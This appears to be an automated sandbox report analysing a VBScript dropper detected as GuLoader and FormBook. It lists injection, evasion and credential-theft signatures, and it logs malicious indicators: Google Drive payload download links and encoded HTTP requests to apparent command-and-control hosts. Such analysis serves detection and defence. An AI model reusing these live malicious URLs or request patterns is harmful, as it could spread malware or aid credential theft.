Windows Analysis Report
1000901 LIQUIDACION.vbs

Overview

General Information

Sample name: 1000901 LIQUIDACION.vbs
Analysis ID: 1430770
MD5: 14ac5b0600701be4d0ed3990a64efce4
SHA1: 45778f2240e082952eb68ec11885ccee168498de
SHA256: 598ef0ef2670ff8f0dfa5f9849e1723a8a4c20e470a23b6b67d72db9e9146007
Tags: vbs
Infos:

Detection

FormBook, GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
VBScript performs obfuscated calls to suspicious functions
Yara detected FormBook
Yara detected GuLoader
Found direct / indirect Syscall (likely to bypass EDR)
Found suspicious powershell code related to unpacking or dynamic code loading
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Queues an APC in another process (thread injection)
Sigma detected: WScript or CScript Dropper
Sigma detected: Wab/Wabmig Unusual Parent Or Child Processes
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

AV Detection
barindex
Antivirus detection for URL or domain
Source: http://pesterbdd.com/images/Pester.png URL Reputation: Label: malware
Source: http://pesterbdd.com/images/Pester.png URL Reputation: Label: malware
Source: http://www.dhleba51.ru/im2z/ Avira URL Cloud: Label: malware
Yara detected FormBook
Source: Yara match File source: 00000012.00000002.2595491228.0000000002250000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2595044684.00000000029A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2595118145.00000000029E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2595680421.00000000055C0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2593836346.00000000024F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2249433724.0000000002CB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: unknown HTTPS traffic detected: 142.250.101.100:443 -> 192.168.2.9:49706 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.251.2.132:443 -> 192.168.2.9:49707 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.101.100:443 -> 192.168.2.9:49712 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.251.2.132:443 -> 192.168.2.9:49713 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.251.2.132:443 -> 192.168.2.9:49713 version: TLS 1.2
Source: Binary string: \??\C:\Windows\symbols\dll\System.Core.pdb source: powershell.exe, 00000005.00000002.1921609089.0000000007489000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbZ source: powershell.exe, 00000005.00000002.1924285090.000000000826A000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.1921609089.0000000007390000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: replace.pdb source: wab.exe, 0000000C.00000003.2218166538.0000000008A61000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.1924285090.000000000826A000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5 source: powershell.exe, 00000005.00000002.1913857979.0000000000CC2000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: tem.Core.pdb source: powershell.exe, 00000005.00000002.1924285090.000000000826A000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: replace.pdbGCTL source: wab.exe, 0000000C.00000003.2218166538.0000000008A61000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdbUGP source: wab.exe, 0000000C.00000002.2286364866.0000000024690000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: wab.exe, wab.exe, 0000000C.00000002.2286364866.0000000024690000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.1924285090.000000000826A000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: stem.Core.pdbS] source: powershell.exe, 00000005.00000002.1924285090.000000000826A000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities
barindex
Suspicious execution chain found
Source: C:\Windows\System32\wscript.exe Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 195.24.68.5 195.24.68.5
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=13sIDgKu2D7iI6zRxA4gGYSas5i0mhATB HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /download?id=13sIDgKu2D7iI6zRxA4gGYSas5i0mhATB&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=1-KQmxodyjhhw6fN77qkVCo3Tox2hzzLI HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /download?id=1-KQmxodyjhhw6fN77qkVCo3Tox2hzzLI&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /im2z/?_Ny4=z4HNqRUNVhKU+Qtv1eU7JRxQK/gynbhJk0uSl0XlGEkve/f45BAiGTLGfSdewEtjJuikjLVXYXf/hVlacLZbmvfCaC2wD3OuQ9Qp/Q6XbR8wDKz6gQ==&B6H=rZ8dY HTTP/1.1Host: www.webwheelsmedia.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 5.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Source: unknown DNS traffic detected: queries for: drive.google.com
Source: unknown HTTP traffic detected: POST /im2z/ HTTP/1.1Host: www.dhleba51.ruAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,enOrigin: http://www.dhleba51.ruConnection: closeContent-Length: 193Content-Type: application/x-www-form-urlencodedCache-Control: no-cacheReferer: http://www.dhleba51.ru/im2z/User-Agent: Mozilla/5.0 (Windows NT 5.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0Data Raw: 5f 4e 79 34 3d 7a 78 76 31 75 73 58 67 67 48 79 48 36 59 46 47 70 41 66 38 63 70 32 37 57 75 57 78 4f 4d 74 54 4b 38 76 2b 6d 6a 6c 33 64 79 36 63 6c 38 69 67 68 48 77 38 45 2b 48 2b 4e 64 4f 34 69 45 6c 57 42 77 6f 76 69 72 74 58 4c 49 47 61 56 70 4e 59 53 4d 78 65 67 6e 53 72 4b 69 5a 59 55 75 54 58 72 6e 62 46 36 67 70 76 4a 47 4c 51 43 2f 32 65 7a 59 42 44 64 66 4c 64 2f 4a 58 34 38 6d 63 63 75 41 31 6b 66 65 4a 42 59 4b 79 54 6f 6e 4d 6c 43 41 6c 77 4c 58 48 77 4a 50 4f 4d 71 33 6c 79 52 75 2b 50 46 33 67 70 42 39 52 5a 54 38 52 74 4a 6f 77 4b 64 4b 6c 78 65 56 4f 65 Data Ascii: _Ny4=zxv1usXggHyH6YFGpAf8cp27WuWxOMtTK8v+mjl3dy6cl8ighHw8E+H+NdO4iElWBwovirtXLIGaVpNYSMxegnSrKiZYUuTXrnbF6gpvJGLQC/2ezYBDdfLd/JX48mccuA1kfeJBYKyTonMlCAlwLXHwJPOMq3lyRu+PF3gpB9RZT8RtJowKdKlxeVOe
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openrestyDate: Wed, 24 Apr 2024 05:05:04 GMTContent-Type: text/html; charset=utf-8Content-Length: 48773Connection: closeAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 4e 6f 74 6f 2b 53 61 6e 73 3a 77 67 68 74 40 34 30 30 3b 37 30 30 26 61 6d 70 3b 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 79 61 73 74 61 74 69 63 2e 6e 65 74 2f 70 63 6f 64 65 2f 61 64 66 6f 78 2f 6c 6f 61 64 65 72 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 3e 0a 76 61 72 20 70 75 6e 79 63 6f 64 65 20 3d 20 6e 65 77 20 66 75 6e 63 74 69 6f 6e 20 50 75 6e 79 63 6f 64 65 28 29 20 7b 0a 20 20 20 20 74 68 69 73 2e 75 74 66 31 36 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 64 65 63 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 69 6e 70 75 74 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6f 75 74 70 75 74 20 3d 20 5b 5d 2c 20 69 3d 30 2c 20 6c 65 6e 3d 69 6e 70 75 74 2e 6c 65 6e 67 74 68 2c 76 61 6c 75 65 2c 65 78 74 72 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 68 69 6c 65 20 28 69 20 3c 20 6c 65 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 38 30 30 29 20 3d 3d 3d 20 30 78 44 38 30 30 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 78 74 72 61 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 38 30 30 29 20 7c 7c 20 28 28 65 78 74 72 61 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 43 30 30 29 20 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 55 54 46 2d 31 36 28 64 65 63 6f 64 65 29 3a 2
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openrestyDate: Wed, 24 Apr 2024 05:05:07 GMTContent-Type: text/html; charset=utf-8Content-Length: 48773Connection: closeAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 4e 6f 74 6f 2b 53 61 6e 73 3a 77 67 68 74 40 34 30 30 3b 37 30 30 26 61 6d 70 3b 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 79 61 73 74 61 74 69 63 2e 6e 65 74 2f 70 63 6f 64 65 2f 61 64 66 6f 78 2f 6c 6f 61 64 65 72 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 3e 0a 76 61 72 20 70 75 6e 79 63 6f 64 65 20 3d 20 6e 65 77 20 66 75 6e 63 74 69 6f 6e 20 50 75 6e 79 63 6f 64 65 28 29 20 7b 0a 20 20 20 20 74 68 69 73 2e 75 74 66 31 36 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 64 65 63 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 69 6e 70 75 74 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6f 75 74 70 75 74 20 3d 20 5b 5d 2c 20 69 3d 30 2c 20 6c 65 6e 3d 69 6e 70 75 74 2e 6c 65 6e 67 74 68 2c 76 61 6c 75 65 2c 65 78 74 72 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 68 69 6c 65 20 28 69 20 3c 20 6c 65 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 38 30 30 29 20 3d 3d 3d 20 30 78 44 38 30 30 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 78 74 72 61 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 38 30 30 29 20 7c 7c 20 28 28 65 78 74 72 61 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 43 30 30 29 20 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 55 54 46 2d 31 36 28 64 65 63 6f 64 65 29 3a 2
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openrestyDate: Wed, 24 Apr 2024 05:05:10 GMTContent-Type: text/html; charset=utf-8Content-Length: 48773Connection: closeAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 4e 6f 74 6f 2b 53 61 6e 73 3a 77 67 68 74 40 34 30 30 3b 37 30 30 26 61 6d 70 3b 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 79 61 73 74 61 74 69 63 2e 6e 65 74 2f 70 63 6f 64 65 2f 61 64 66 6f 78 2f 6c 6f 61 64 65 72 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 3e 0a 76 61 72 20 70 75 6e 79 63 6f 64 65 20 3d 20 6e 65 77 20 66 75 6e 63 74 69 6f 6e 20 50 75 6e 79 63 6f 64 65 28 29 20 7b 0a 20 20 20 20 74 68 69 73 2e 75 74 66 31 36 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 64 65 63 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 69 6e 70 75 74 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6f 75 74 70 75 74 20 3d 20 5b 5d 2c 20 69 3d 30 2c 20 6c 65 6e 3d 69 6e 70 75 74 2e 6c 65 6e 67 74 68 2c 76 61 6c 75 65 2c 65 78 74 72 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 68 69 6c 65 20 28 69 20 3c 20 6c 65 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 38 30 30 29 20 3d 3d 3d 20 30 78 44 38 30 30 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 78 74 72 61 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 38 30 30 29 20 7c 7c 20 28 28 65 78 74 72 61 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 43 30 30 29 20 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 55 54 46 2d 31 36 28 64 65 63 6f 64 65 29 3a 2
Source: powershell.exe, 00000002.00000002.2177170811.000002B339BF3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://drive.google.com
Source: powershell.exe, 00000002.00000002.2177170811.000002B339C2C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://drive.usercontent.google.com
Source: powershell.exe, 00000002.00000002.2333966169.000002B347A73000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1919062447.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000005.00000002.1915385370.0000000004C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.2177170811.000002B337A01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1915385370.0000000004B41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: MSHXUddoGk.exe, 00000012.00000002.2596058187.0000000002C04000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://webwheelsmedia.com/im2z/?_Ny4=z4HNqRUNVhKU
Source: powershell.exe, 00000005.00000002.1915385370.0000000004C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.2177170811.000002B337A01000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000005.00000002.1915385370.0000000004B41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000002.00000002.2177170811.000002B339C19000.00000004.00000800.00020000.00000000.sdmp, wab.exe, 0000000C.00000003.1893294150.0000000008A26000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://apis.google.com
Source: powershell.exe, 00000005.00000002.1919062447.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.1919062447.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.1919062447.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000002.00000002.2177170811.000002B339BEE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive.googP
Source: powershell.exe, 00000002.00000002.2177170811.000002B337E10000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2177170811.000002B339B94000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com
Source: wab.exe, 0000000C.00000002.2285301301.0000000023B70000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1-KQmxodyjhhw6fN77qkVCo3Tox2hzzLI
Source: powershell.exe, 00000002.00000002.2353946109.000002B34FF04000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=13sIDgKu2D7iI6zRxA4gGYSas5i0mhATB32
Source: powershell.exe, 00000002.00000002.2177170811.000002B337C27000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=13sIDgKu2D7iI6zRxA4gGYSas5i0mhATBP
Source: powershell.exe, 00000005.00000002.1915385370.0000000004C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=13sIDgKu2D7iI6zRxA4gGYSas5i0mhATBXR
Source: powershell.exe, 00000002.00000002.2177170811.000002B339C19000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive.usercontent.googh
Source: powershell.exe, 00000002.00000002.2177170811.000002B337F3D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2177170811.000002B339C19000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive.usercontent.google.com
Source: wab.exe, 0000000C.00000003.2155565700.0000000008A23000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000C.00000002.2273092683.0000000008A26000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000C.00000003.1897031351.0000000008A26000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.usercontent.google.com/
Source: wab.exe, 0000000C.00000003.2155565700.0000000008A23000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000C.00000002.2273092683.0000000008A26000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000C.00000003.1897031351.0000000008A26000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000C.00000003.1893294150.0000000008A26000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000C.00000003.2155735479.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.usercontent.google.com/download?id=1-KQmxodyjhhw6fN77qkVCo3Tox2hzzLI&export=download
Source: wab.exe, 0000000C.00000003.2155565700.0000000008A23000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000C.00000002.2273092683.0000000008A26000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000C.00000003.1897031351.0000000008A26000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.usercontent.google.com/download?id=1-KQmxodyjhhw6fN77qkVCo3Tox2hzzLI&export=downloadf
Source: wab.exe, 0000000C.00000003.2155565700.0000000008A23000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000C.00000002.2273092683.0000000008A26000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000C.00000003.1897031351.0000000008A26000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.usercontent.google.com/download?id=1-KQmxodyjhhw6fN77qkVCo3Tox2hzzLI&export=downloadh
Source: powershell.exe, 00000002.00000002.2177170811.000002B337F3D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2177170811.000002B339C19000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive.usercontent.google.com/download?id=13sIDgKu2D7iI6zRxA4gGYSas5i0mhATB&export=download
Source: powershell.exe, 00000005.00000002.1915385370.0000000004C98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.2177170811.000002B33858E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://go.micro
